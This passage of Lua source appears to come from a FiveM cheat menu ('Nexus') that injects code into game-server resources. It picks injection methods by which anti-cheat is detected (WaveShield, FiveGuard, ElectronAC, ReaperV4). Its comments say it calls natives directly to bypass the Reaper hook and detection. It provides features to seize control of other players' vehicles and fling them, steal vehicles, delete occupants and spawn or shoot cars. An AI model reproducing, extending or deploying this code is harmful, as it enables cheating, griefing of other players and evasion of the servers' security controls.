safeCall(SetEntityCoords, spawnedVehicle, spawnCoords.x, spawnCoords.y, spawnCoords.z, false, false, false, true) safeCall(SetEntityAsMissionEntity, spawnedVehicle, true, true) safeCall(FreezeEntityPosition, spawnedVehicle, false) safeCall(SetEntityCollision, spawnedVehicle, true, true) safeCall(SetEntityDynamic, spawnedVehicle, true) safeCall(ActivatePhysics, spawnedVehicle) safeCall(Wait, 100) -- Calculate direction and shoot local direction = targetPoint - spawnCoords local distance = #direction if distance > 0.1 then local nd = direction / distance local desiredHeading = math.deg(math.atan2(nd.y, nd.x)) safeCall(SetEntityHeading, spawnedVehicle, desiredHeading) safeCall(SetVehicleEngineOn, spawnedVehicle, true, true, false) safeCall(SetVehicleForwardSpeed, spawnedVehicle, 150.0) safeCall(ApplyForceToEntityCenterOfMass, spawnedVehicle, 1, nd.x * 1000.0, nd.y * 1000.0, nd.z * 300.0, true, true, true, true) print("^2[DEBUG]: cashflowcars vehicle shot toward target") end else print("^1[ERROR]: Could not find spawned vehicle") end safeCall(Wait, 500) TaskWarpPedIntoVehicle = originalTaskWarpPed SetPedIntoVehicle = originalSetPedInto TaskEnterVehicle = originalTaskEnterVehicle end) ]], spawnCoords.x, spawnCoords.y, spawnCoords.z, headingNum, targetPoint.x, targetPoint.y, targetPoint.z, model)) end, ["rzrp-base"] = function() local success, error = pcall(function() MachoInjectResourceRaw("rzrp-base", string.format([[ local spawnCoords = vector3(%.2f, %.2f, %.2f) local targetPoint = vector3(%.2f, %.2f, %.2f) RZRP:SpawnVehicle("%s", spawnCoords, %.2f, function() end) Wait(100) -- Find the spawned vehicle and shoot it local vehicles = GetGamePool('CVehicle') for _, veh in ipairs(vehicles) do local vehCoords = GetEntityCoords(veh) if #(vehCoords - spawnCoords) < 5.0 then local direction = targetPoint - spawnCoords local distance = #direction if distance > 0.1 then local normalizedDirection = direction / distance local nd = normalizedDirection ApplyForceToEntityCenterOfMass(veh, 1, nd.x * 100.0, nd.y * 100.0, nd.z * 100.0, 0, false, true, false) end break end end ]], spawnCoords.x, spawnCoords.y, spawnCoords.z, targetPoint.x, targetPoint.y, targetPoint.z, model, headingNum)) end) if not success and error then print("^1[ERROR]: rzrp-base vehicle shoot failed: " .. tostring(error)) end end } local executed = false -- If ElectronAC is running, force WaveShield fallback immediately if GetResourceState("ElectronAC") == "started" and executions["WaveShield"] then executions["WaveShield"]() return end -- If FiveGuard and es_extended are running, force WaveShield fallback immediately local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then if GetResourceMetadata(v, "ac", 0) == "fg" then fgFound = true break end end end if fgFound and GetResourceState("es_extended") == "started" and executions["WaveShield"] then executions["WaveShield"]() return end -- PRIORITY 1: vRP — uses MachoInjectResourceScriptOverride with scheduler secubuilder if not executed and (GetResourceState("vrp") == "started" or GetResourceState("vRP") == "started") and executions["vrp"] then executions["vrp"]() executed = true end -- PRIORITY 2: Try 17umov (works on all 17mov resources) if not executed and executions["17umov"] then local movResources = { "17mov_Deliverer", "17mov_BuilderJob", "17mov_Electrician", "17mov_Postman", "17mov_Lumberjack", "17mov_TreasureHunter", "17mov_OilRig", "17mov_WindowCleaning", "17mov_GruppeSechs" } local foundResource = false for _, resourceName in ipairs(movResources) do if GetResourceState(resourceName) == "started" then foundResource = true break end end if foundResource then executions["17umov"]() executed = true end end -- PRIORITY 3: Try QB-Core (works on both ReaperV4 and normal servers) -- Skip if qbx_core is running (QBX doesn't have QBCore.Functions.SpawnVehicle) if not executed and GetResourceState("qb-core") == "started" and GetResourceState("qbx_core") ~= "started" and executions["qb-core"] then executions["qb-core"]() executed = true end -- PRIORITY 4: Try ESX if QB-Core wasn't found (skip if WaveShield or ReaperV4 is running) if not executed and GetResourceState("es_extended") == "started" and GetResourceState("WaveShield") ~= "started" and GetResourceState("ReaperV4") ~= "started" and executions["es_extended"] then executions["es_extended"]() executed = true elseif GetResourceState("WaveShield") == "started" then end -- PRIORITY 5: Try cashflowcars before WaveShield if not executed and GetResourceState("cashflowcars") == "started" and executions["cashflowcars"] then executions["cashflowcars"]() executed = true end -- PRIORITY 6: Try rzrp-base if not executed and GetResourceState("rzrp-base") == "started" and executions["rzrp-base"] then executions["rzrp-base"]() executed = true end -- PRIORITY 7: Check for WaveShield - only if WaveShield is actually running if not executed and GetResourceState("WaveShield") == "started" and executions["WaveShield"] then executions["WaveShield"]() executed = true end -- PRIORITY 8: Run other methods (lunar_bridge, drc_gardener, wasabi_police, etc.) -- Only run the FIRST matching resource if not executed then for resource, execution in pairs(executions) do if not executed and resource ~= "vrp" and resource ~= "es_extended" and resource ~= "qb-core" and resource ~= "WaveShield" and resource ~= "17umov" and resource ~= "cashflowcars" and resource ~= "rzrp-base" and GetResourceState(resource) == "started" then execution() executed = true end end end -- PRIORITY 9: If no method was executed, use WaveShield as final fallback if not executed then if executions["WaveShield"] then executions["WaveShield"]() executed = true end end end function BlackHole() -- Only use WaveShield method if WaveShield is actually running if GetResourceState("WaveShield") == "started" then SafeInjectResourceRaw(InjectionResource(), [[ -- Define SmartInvoker function inside injection local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end if _G.NexusFreecamObject and DoesCamExist(_G.NexusFreecamObject) then CreateThread(function() local affectedVehicles = {} local lastForward = nil local playerPed = PlayerPedId() -- Native hash for NetworkRequestControlOfEntity (bypasses Reaper hook) local NETWORK_REQUEST_CONTROL_OF_ENTITY = 0xB69317BF5E782347 local Citizen = _G.Citizen or {} local InvokeNative = Citizen.InvokeNative or function(...) end local function RequestControlDirect(entity) if not DoesEntityExist(entity) then return false end -- Check if we already have control if NetworkHasControlOfEntity(entity) then return true end -- Call native directly to bypass Reaper hook local attempts = 0 while not NetworkHasControlOfEntity(entity) and attempts < 10 do InvokeNative(NETWORK_REQUEST_CONTROL_OF_ENTITY, entity) Wait(0) attempts = attempts + 1 end return NetworkHasControlOfEntity(entity) end local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local function GetGameEntitiesInRadius(x, y, z, radius) local entities = {} local handle, entity = FindFirstVehicle() local success repeat local pos = GetEntityCoords(entity) local distance = #(vector3(x, y, z) - pos) if distance <= radius then table.insert(entities, entity) end success, entity = FindNextVehicle(handle) until not success EndFindVehicle(handle) return entities end while IsDisabledControlPressed(0, 24) do local camPos = GetCamCoord(_G.NexusFreecamObject) local camRot = GetCamRot(_G.NexusFreecamObject, 2) lastForward = RotationToDirection(camRot) local targetPos = camPos + lastForward * 15.0 local nearbyVehicles = GetGameEntitiesInRadius(camPos.x, camPos.y, camPos.z, 100.0) for _, vehicle in ipairs(nearbyVehicles) do if DoesEntityExist(vehicle) and not IsEntityAPed(vehicle) and vehicle ~= GetVehiclePedIsIn(playerPed, false) then -- Use direct native call to bypass Reaper detection if RequestControlDirect(vehicle) then SetEntityAsMissionEntity(vehicle, true, true) SetEntityCollision(vehicle, false, false) FreezeEntityPosition(vehicle, false) affectedVehicles[vehicle] = true local currentPos = GetEntityCoords(vehicle) local direction = targetPos - currentPos local distance = #(targetPos - currentPos) if distance > 0.1 then local forceStrength = 150.0 * (distance / 50.0 + 0.2) local normalizedForce = direction / (distance + 0.01) * forceStrength SetEntityVelocity(vehicle, normalizedForce.x, normalizedForce.y, normalizedForce.z) else SetEntityCoordsNoOffset(vehicle, targetPos.x, targetPos.y, targetPos.z, true, true, true) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) end end end end Wait(0) end for vehicle, _ in pairs(affectedVehicles) do if DoesEntityExist(vehicle) then SetEntityCollision(vehicle, true, true) SetEntityAsMissionEntity(vehicle, false, false) if lastForward then local shootVelocity = lastForward * 75.0 SetEntityVelocity(vehicle, shootVelocity.x, shootVelocity.y, shootVelocity.z) end end end end) end ]]) else -- Run directly when no protection if _G.NexusFreecamObject then CreateThread(function() local affectedVehicles = {} local lastForward = nil local playerPed = PlayerPedId() -- Native hash for NetworkRequestControlOfEntity (bypasses Reaper hook) local NETWORK_REQUEST_CONTROL_OF_ENTITY = 0xB69317BF5E782347 local Citizen = _G.Citizen or {} local InvokeNative = Citizen.InvokeNative or function(...) end local function RequestControlDirect(entity) if not DoesEntityExist(entity) then return false end -- Check if we already have control if NetworkHasControlOfEntity(entity) then return true end -- Call native directly to bypass Reaper hook local attempts = 0 while not NetworkHasControlOfEntity(entity) and attempts < 10 do InvokeNative(NETWORK_REQUEST_CONTROL_OF_ENTITY, entity) Wait(0) attempts = attempts + 1 end return NetworkHasControlOfEntity(entity) end local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local function GetGameEntitiesInRadius(x, y, z, radius) local entities = {} local handle, entity = FindFirstVehicle() local success repeat local pos = GetEntityCoords(entity) local distance = #(vector3(x, y, z) - pos) if distance <= radius then table.insert(entities, entity) end success, entity = FindNextVehicle(handle) until not success EndFindVehicle(handle) return entities end while IsDisabledControlPressed(0, 24) do local camPos = GetCamCoord(_G.NexusFreecamObject) local camRot = GetCamRot(_G.NexusFreecamObject, 2) lastForward = RotationToDirection(camRot) local targetPos = camPos + lastForward * 15.0 local nearbyVehicles = GetGameEntitiesInRadius(camPos.x, camPos.y, camPos.z, 100.0) for _, vehicle in ipairs(nearbyVehicles) do if DoesEntityExist(vehicle) and not IsEntityAPed(vehicle) and vehicle ~= GetVehiclePedIsIn(playerPed, false) then -- Use direct native call to bypass Reaper detection if RequestControlDirect(vehicle) then SetEntityAsMissionEntity(vehicle, true, true) SetEntityCollision(vehicle, false, false) FreezeEntityPosition(vehicle, false) affectedVehicles[vehicle] = true local currentPos = GetEntityCoords(vehicle) local direction = targetPos - currentPos local distance = #(targetPos - currentPos) if distance > 0.1 then local forceStrength = 150.0 * (distance / 50.0 + 0.2) local normalizedForce = direction / (distance + 0.01) * forceStrength SetEntityVelocity(vehicle, normalizedForce.x, normalizedForce.y, normalizedForce.z) else SetEntityCoordsNoOffset(vehicle, targetPos.x, targetPos.y, targetPos.z, true, true, true) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) end end end end Wait(0) end for vehicle, _ in pairs(affectedVehicles) do if DoesEntityExist(vehicle) then SetEntityCollision(vehicle, true, true) SetEntityAsMissionEntity(vehicle, false, false) if lastForward then local shootVelocity = lastForward * 75.0 SetEntityVelocity(vehicle, shootVelocity.x, shootVelocity.y, shootVelocity.z) end end end end) else end end end function SpawnCar(model, coords, heading) -- Convert model string to byte array for decode method local function StringToBytes(str) local bytes = {} for i = 1, #str do table.insert(bytes, string.byte(str, i)) end return table.concat(bytes, ", ") end local modelBytes = StringToBytes(model) -- Normalize heading to a number if it's a vector local headingNum = heading if type(heading) == "vector3" or (type(heading) == "table" and heading.z) then headingNum = heading.z elseif type(heading) ~= "number" then headingNum = 0.0 end local executions = { ["vrp"] = function() local success, err = pcall(function() MachoInjectResourceScriptOverride( "NewThreads", "vrp", string.format([[ local ped = PlayerPedId() local coords = GetEntityCoords(ped) local heading = GetEntityHeading(ped) local model = GetHashKey("%s") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end CreateVehicle(model, %.2f, %.2f, %.2f, %.2f, true, false) ]], model, coords.x, coords.y, coords.z, headingNum), "@citizen:/scripting/lua/scheduler.lua", 500, 600 ) end) if not success then end end, ["17umov"] = function() local success, error = pcall(function() -- List of 17mov resources to check local movResources = { "17mov_Deliverer", "17mov_BuilderJob", "17mov_Electrician", "17mov_Postman", "17mov_Lumberjack", "17mov_TreasureHunter", "17mov_OilRig", "17mov_WindowCleaning", "17mov_GruppeSechs" } local foundResource = nil for _, resourceName in ipairs(movResources) do if GetResourceState(resourceName) == "started" then foundResource = resourceName break end end if foundResource then MachoInjectResource2(NewThreadNs, foundResource, string.format([[ local spawnCoords = vector4(%.2f, %.2f, %.2f, %.2f) SpawnVehicle("%s", spawnCoords, true) ]], coords.x, coords.y, coords.z, headingNum, model)) end end) if not success and error then end end, ["qb-core"] = function() local success, error = pcall(function() MachoInjectResource2(1, 'qb-core', string.format([[ local model = "%s" local coords = vector3(%.2f, %.2f, %.2f) local heading = %.2f QBCore.Functions.SpawnVehicle(model, function(vehicle) if DoesEntityExist(vehicle) then SetEntityHeading(vehicle, heading) end end, coords, true) ]], model, coords.x, coords.y, coords.z, headingNum)) end) if success then else end end, ["lunar_bridge"] = function() -- Only run lunar_bridge if mc9-lib or mc9-adminmenu is running if GetResourceState("mc9-lib") ~= "started" and GetResourceState("mc9-adminmenu") ~= "started" then return end local success, error = pcall(function() MachoInjectResource2(3, "lunar_bridge", string.format([[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local model = decode({%s}) local coords = vector3(%.2f, %.2f, %.2f) local heading = %.2f Framework.spawnVehicle(model, coords, heading, function(vehicle) end) ]], modelBytes, coords.x, coords.y, coords.z, headingNum)) end) if success then print("^2[SUCCESS]: Car Spawned using Method #2 at click location") else print("^1[ERROR]: Car Spawning using Method #2 failed: " .. tostring(error)) end end, ["drc_gardener"] = function() local success, error = pcall(function() MachoInjectResource2(NewThreadNs, "drc_gardener", string.format([[ SpawnVehicle("%s", vector3(%.2f, %.2f, %.2f)) ]], model, coords.x, coords.y, coords.z)) end) if success then else end end, ["es_extended"] = function() local success, error = pcall(function() MachoInjectResource2(NewThreadNs, 'es_extended', string.format([[ local model = "%s" local coords = vector3(%.2f, %.2f, %.2f) local heading = %.2f ESX.Game.SpawnVehicle(model, coords, heading, function(vehicle) end) ]], model, coords.x, coords.y, coords.z, headingNum)) end) if success then else end end, ["WaveShield"] = function() local success, error = pcall(function() SafeInjectResourceRaw(InjectionResource(), string.format([[ local CreateThread = _G.CreateThread or function(...) end local CreateVehicle = _G.CreateVehicle or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local RequestModel = _G.RequestModel or function(...) end local HasModelLoaded = _G.HasModelLoaded or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetVehicleEngineOn = _G.SetVehicleEngineOn or function(...) end local SetVehicleForwardSpeed = _G.SetVehicleForwardSpeed or function(...) end local SetEntityVelocity = _G.SetEntityVelocity or function(...) end local SetVehicleOnGroundProperly = _G.SetVehicleOnGroundProperly or function(...) end local SetVehicleHasBeenOwnedByPlayer = _G.SetVehicleHasBeenOwnedByPlayer or function(...) end local SetVehicleNeedsToBeHotwired = _G.SetVehicleNeedsToBeHotwired or function(...) end local SetEntityHasGravity = _G.SetEntityHasGravity or function(...) end local SetModelAsNoLongerNeeded = _G.SetModelAsNoLongerNeeded or function(...) end local Wait = _G.Wait or function(...) end CreateThread(function() local vehicleHash = GetHashKey("%s") RequestModel(vehicleHash) local timeout = 0 while not HasModelLoaded(vehicleHash) and timeout < 1000 do Wait(10) timeout = timeout + 1 end if HasModelLoaded(vehicleHash) then local vehicle = CreateVehicle(vehicleHash, %.2f, %.2f, %.2f, %.2f, true, true, false) if DoesEntityExist(vehicle) then SetEntityAsMissionEntity(vehicle, true, true) SetVehicleEngineOn(vehicle, true, true, false) SetVehicleForwardSpeed(vehicle, 0.0) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) SetVehicleOnGroundProperly(vehicle) SetVehicleHasBeenOwnedByPlayer(vehicle, true) SetVehicleNeedsToBeHotwired(vehicle, false) SetEntityHasGravity(vehicle, true) SetModelAsNoLongerNeeded(vehicleHash) end end end) ]], model, coords.x, coords.y, coords.z, headingNum), "SpawnCar") end) if success then else end end, ["cashflowcars"] = function() MachoInjectResource2(NewThreadNs, "scripts", string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local CreateThread = _G.CreateThread or function(...) end local Wait = _G.Wait or function(...) end local originalTaskWarpPed = TaskWarpPedIntoVehicle local originalSetPedInto = SetPedIntoVehicle local originalTaskEnterVehicle = TaskEnterVehicle TaskWarpPedIntoVehicle = function() end SetPedIntoVehicle = function() end TaskEnterVehicle = function() end local ped = safeCall(PlayerPedId) local pedCoords = safeCall(GetEntityCoords, ped) local pedHeading = safeCall(GetEntityHeading, ped) local playerVec4 = vector4(%.2f, %.2f, %.2f, %.2f) local owned = lib.callback.await('garages:get', false, nil, 'car') if not owned or not owned[1] then print("^1No owned vehicle found in car garage!") safeCall(CreateThread, function() safeCall(Wait, 1000) TaskWarpPedIntoVehicle = originalTaskWarpPed SetPedIntoVehicle = originalSetPedInto TaskEnterVehicle = originalTaskEnterVehicle end) return end local vehicleModel = "%s" local properties = Zen.Streaming.GetProperties(owned[1].plate) properties.model = vehicleModel TriggerServerEvent('garages:spawnVehicle', properties.model, properties, playerVec4) safeCall(CreateThread, function() safeCall(Wait, 1000) TaskWarpPedIntoVehicle = originalTaskWarpPed SetPedIntoVehicle = originalSetPedInto TaskEnterVehicle = originalTaskEnterVehicle end) ]], coords.x, coords.y, coords.z, headingNum, model)) end, ["rzrp-base"] = function() local success, error = pcall(function() MachoInjectResourceRaw("rzrp-base", string.format([[ RZRP:SpawnVehicle("%s", vector3(%.2f, %.2f, %.2f), %.2f, function() end) ]], model, coords.x, coords.y, coords.z, headingNum)) end) if success then else end end } local executed = false -- If ElectronAC is running, force WaveShield fallback immediately if GetResourceState("ElectronAC") == "started" and executions["WaveShield"] then executions["WaveShield"]() return end -- If FiveGuard and es_extended are running, force WaveShield fallback immediately local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then if GetResourceMetadata(v, "ac", 0) == "fg" then fgFound = true break end end end if fgFound and GetResourceState("es_extended") == "started" and executions["WaveShield"] then executions["WaveShield"]() return end -- PRIORITY 1: vRP — uses MachoInjectResourceScriptOverride with scheduler secubuilder if not executed and (GetResourceState("vrp") == "started" or GetResourceState("vRP") == "started") and executions["vrp"] then executions["vrp"]() executed = true end -- PRIORITY 2: Try 17umov (works on all 17mov resources) if not executed and executions["17umov"] then local movResources = { "17mov_GarbageCollector", "17mov_Deliverer", "17mov_BuilderJob", "17mov_Electrician", "17mov_Postman", "17mov_Lumberjack", "17mov_TreasureHunter", "17mov_OilRig", "17mov_WindowCleaning", "17mov_GruppeSechs" } local foundResource = false for _, resourceName in ipairs(movResources) do if GetResourceState(resourceName) == "started" then foundResource = true break end end if foundResource then executions["17umov"]() executed = true end end -- PRIORITY 3: Try QB-Core (works on both ReaperV4 and normal servers) if not executed and GetResourceState("qb-core") == "started" and executions["qb-core"] then executions["qb-core"]() executed = true end -- PRIORITY 4: Try ESX if QB-Core wasn't found (skip if WaveShield or ReaperV4 is running) if not executed and GetResourceState("es_extended") == "started" and GetResourceState("WaveShield") ~= "started" and GetResourceState("ReaperV4") ~= "started" and executions["es_extended"] then executions["es_extended"]() executed = true elseif GetResourceState("WaveShield") == "started" then end -- PRIORITY 5: Try lunar_bridge if QB-Core and ESX weren't found (only if mc9-lib or mc9-adminmenu is running) if not executed and (GetResourceState("mc9-lib") == "started" or GetResourceState("mc9-adminmenu") == "started") and executions["lunar_bridge"] then executions["lunar_bridge"]() executed = true end -- PRIORITY 6: Try cashflowcars before other methods and WaveShield if not executed and GetResourceState("cashflowcars") == "started" and executions["cashflowcars"] then executions["cashflowcars"]() executed = true end -- PRIORITY 7: Try rzrp-base if not executed and GetResourceState("rzrp-base") == "started" and executions["rzrp-base"] then executions["rzrp-base"]() executed = true end -- PRIORITY 8: Try other methods (drc_gardener, wasabi_police, etc.) if not executed then for resource, execution in pairs(executions) do if not executed and resource ~= "vrp" and resource ~= "es_extended" and resource ~= "qb-core" and resource ~= "lunar_bridge" and resource ~= "17umov" and resource ~= "WaveShield" and resource ~= "cashflowcars" and resource ~= "rzrp-base" and GetResourceState(resource) == "started" then execution() executed = true end end end -- PRIORITY 9: If no method was executed, use WaveShield as fallback if not executed then if executions["WaveShield"] then executions["WaveShield"]() executed = true else end end end -- Initialize Method List and Index for vehicle interactions MethodList = {"Method 1", "Method 2"} CurrentMethodIndex = 1 CreateThread(function() local lastShotTime = 0 local shotCooldown = 150 -- ms between shots while true do Wait(0) if _G.NexusFreecamEnabled then local hoveredOption = OptionLabels[HoveredIndex] if IsDisabledControlJustReleased(0, 14) then -- Wheel Down HoveredIndex = (HoveredIndex % #OptionLabels) + 1 MachoSendDuiMessage(dui, json.encode({ action = "scroll", direction = "down" })) end if IsDisabledControlJustReleased(0, 15) then -- Wheel Up HoveredIndex = (HoveredIndex - 2) % #OptionLabels + 1 MachoSendDuiMessage(dui, json.encode({ action = "scroll", direction = "up" })) end if hoveredOption == "Shoot Weapon" then if IsDisabledControlJustPressed(0, 44) then -- Q CurrentWeaponIndex = (CurrentWeaponIndex - 2) % #WeaponList + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateWeapon", index = CurrentWeaponIndex })) end if IsDisabledControlJustPressed(0, 38) then -- E CurrentWeaponIndex = (CurrentWeaponIndex % #WeaponList) + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateWeapon", index = CurrentWeaponIndex })) end elseif hoveredOption == "Spawn Car" then if IsDisabledControlJustPressed(0, 44) then -- Q CurrentVehicleIndex = (CurrentVehicleIndex - 2) % #VehicleList + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateVehicle", index = CurrentVehicleIndex })) end if IsDisabledControlJustPressed(0, 38) then -- E CurrentVehicleIndex = (CurrentVehicleIndex % #VehicleList) + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateVehicle", index = CurrentVehicleIndex })) end elseif hoveredOption == "Shoot Vehicle" then if IsDisabledControlJustPressed(0, 44) then -- Q CurrentVehicleIndex = (CurrentVehicleIndex - 2) % #VehicleList + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateVehicle", index = CurrentVehicleIndex })) end if IsDisabledControlJustPressed(0, 38) then -- E CurrentVehicleIndex = (CurrentVehicleIndex % #VehicleList) + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateVehicle", index = CurrentVehicleIndex })) end elseif hoveredOption == "Spawn Ped" then if IsDisabledControlJustPressed(0, 44) then -- Q CurrentPedIndex = (CurrentPedIndex - 2) % #PedList + 1 MachoSendDuiMessage(dui, json.encode({ action = "updatePed", index = CurrentPedIndex })) end if IsDisabledControlJustPressed(0, 38) then -- E CurrentPedIndex = (CurrentPedIndex % #PedList) + 1 MachoSendDuiMessage(dui, json.encode({ action = "updatePed", index = CurrentPedIndex })) end elseif hoveredOption == "Spawn Object" then if IsDisabledControlJustPressed(0, 44) then -- Q CurrentObjectIndex = (CurrentObjectIndex - 2) % #ObjectList + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateObject", index = CurrentObjectIndex })) end if IsDisabledControlJustPressed(0, 38) then -- E CurrentObjectIndex = (CurrentObjectIndex % #ObjectList) + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateObject", index = CurrentObjectIndex })) end elseif hoveredOption == "Kick from Vehicle" then if not MethodList then MethodList = {"Method 1", "Method 2"} end if not CurrentKickMethodIndex then CurrentKickMethodIndex = 1 end if IsDisabledControlJustPressed(0, 44) then -- Q CurrentKickMethodIndex = (CurrentKickMethodIndex - 2) % #MethodList + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateKickMethod", index = CurrentKickMethodIndex })) end if IsDisabledControlJustPressed(0, 38) then -- E CurrentKickMethodIndex = (CurrentKickMethodIndex % #MethodList) + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateKickMethod", index = CurrentKickMethodIndex })) end elseif hoveredOption == "Steal Vehicle" then if not MethodList then MethodList = {"Method 1", "Method 2"} end if not CurrentStealMethodIndex then CurrentStealMethodIndex = 1 end if IsDisabledControlJustPressed(0, 44) then -- Q CurrentStealMethodIndex = (CurrentStealMethodIndex - 2) % #MethodList + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateStealMethod", index = CurrentStealMethodIndex })) end if IsDisabledControlJustPressed(0, 38) then -- E CurrentStealMethodIndex = (CurrentStealMethodIndex % #MethodList) + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateStealMethod", index = CurrentStealMethodIndex })) end elseif hoveredOption == "Delete Vehicle" then if not MethodList then MethodList = {"Method 1", "Method 2"} end if not CurrentDeleteMethodIndex then CurrentDeleteMethodIndex = 1 end if IsDisabledControlJustPressed(0, 44) then -- Q CurrentDeleteMethodIndex = (CurrentDeleteMethodIndex - 2) % #MethodList + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateDeleteMethod", index = CurrentDeleteMethodIndex })) end if IsDisabledControlJustPressed(0, 38) then -- E CurrentDeleteMethodIndex = (CurrentDeleteMethodIndex % #MethodList) + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateDeleteMethod", index = CurrentDeleteMethodIndex })) end elseif hoveredOption == "NPC Hijack Vehicle" then if not MethodList then MethodList = {"Method 1", "Method 2"} end if not CurrentHijackMethodIndex then CurrentHijackMethodIndex = 1 end if IsDisabledControlJustPressed(0, 44) then -- Q CurrentHijackMethodIndex = (CurrentHijackMethodIndex - 2) % #MethodList + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateHijackMethod", index = CurrentHijackMethodIndex })) end if IsDisabledControlJustPressed(0, 38) then -- E CurrentHijackMethodIndex = (CurrentHijackMethodIndex % #MethodList) + 1 MachoSendDuiMessage(dui, json.encode({ action = "updateHijackMethod", index = CurrentHijackMethodIndex })) end end if IsDisabledControlJustPressed(0, 24) then if hoveredOption == "Teleport" then if _G.NexusFreecamObject then local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local camCoords = GetCamCoord(_G.NexusFreecamObject) local rot = GetCamRot(_G.NexusFreecamObject, 2) local forward = RotationToDirection(rot) local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, targetPos.x, targetPos.y, targetPos.z, -1, PlayerPedId(), 0) local _, hit, endCoords, _, entityHit = GetShapeTestResult(rayHandle) if hit then local NewThreadNs = 3 if entityHit ~= 0 and IsEntityAVehicle(entityHit) then local vehNetId = NetworkGetNetworkIdFromEntity(entityHit) SafeInjectResourceRaw(InjectionResource(), string.format([[ local vehicle = NetworkGetEntityFromNetworkId(%d) if not DoesEntityExist(vehicle) then return end local function GetEmptySeat(veh) local seats = { -1, 0, 1, 2 } for _, seat in ipairs(seats) do if IsVehicleSeatFree(veh, seat) then return seat end end return nil end local playerPed = PlayerPedId() local seat = GetEmptySeat(vehicle) if seat ~= nil then SetVehicleDoorsLocked(vehicle, 1) SetVehicleEngineOn(vehicle, true, true, false) if not IsVehicleSeatFree(vehicle, seat) then local occupant = GetPedInVehicleSeat(vehicle, seat) if occupant ~= 0 then DeletePed(occupant) end end TaskWarpPedIntoVehicle(playerPed, vehicle, seat) CreateThread(function() Wait(100) if not IsPedInAnyVehicle(playerPed, false) then SetPedIntoVehicle(playerPed, vehicle, seat) end end) end ]], vehNetId), "Teleport") else SafeInjectResourceRaw(InjectionResource(), string.format([[ SetEntityCoords(PlayerPedId(), %.2f, %.2f, %.2f, false, false, false, false) ]], endCoords.x, endCoords.y, endCoords.z), "Teleport") end else print("[^5NEXUS^7]: There aren't any valid locations to teleport to.") end end end end -- Shoot Weapon: Hold to shoot with cooldown if hoveredOption == "Shoot Weapon" and IsDisabledControlPressed(0, 24) then local currentTime = GetGameTimer() if currentTime - lastShotTime >= shotCooldown then if CurrentWeaponIndex >= 1 and CurrentWeaponIndex <= #WeaponList then local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local camCoords = GetCamCoord(_G.NexusFreecamObject) local rot = GetCamRot(_G.NexusFreecamObject, 2) local forward = RotationToDirection(rot) local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength -- Target far away in direction of camera -- Call ShootWeapon with calculated coordinates _G.ShootRequested = true ShootWeapon() end lastShotTime = currentTime end end -- Spawn Car: Click once to trigger if hoveredOption == "Spawn Car" and IsDisabledControlJustPressed(0, 24) then local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local camCoords = GetCamCoord(_G.NexusFreecamObject) local rot = GetCamRot(_G.NexusFreecamObject, 2) local forward = RotationToDirection(rot) local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, targetPos.x, targetPos.y, targetPos.z, -1, PlayerPedId(), 0) local _, hit, endCoords, _, entityHit = GetShapeTestResult(rayHandle) SpawnCar(VehicleList[CurrentVehicleIndex], endCoords, rot) end -- Shoot Vehicle: Click once to trigger if hoveredOption == "Shoot Vehicle" and IsDisabledControlJustPressed(0, 24) then local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local camCoords = GetCamCoord(_G.NexusFreecamObject) local rot = GetCamRot(_G.NexusFreecamObject, 2) local forward = RotationToDirection(rot) local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, targetPos.x, targetPos.y, targetPos.z, -1, PlayerPedId(), 0) local _, hit, endCoords, _, entityHit = 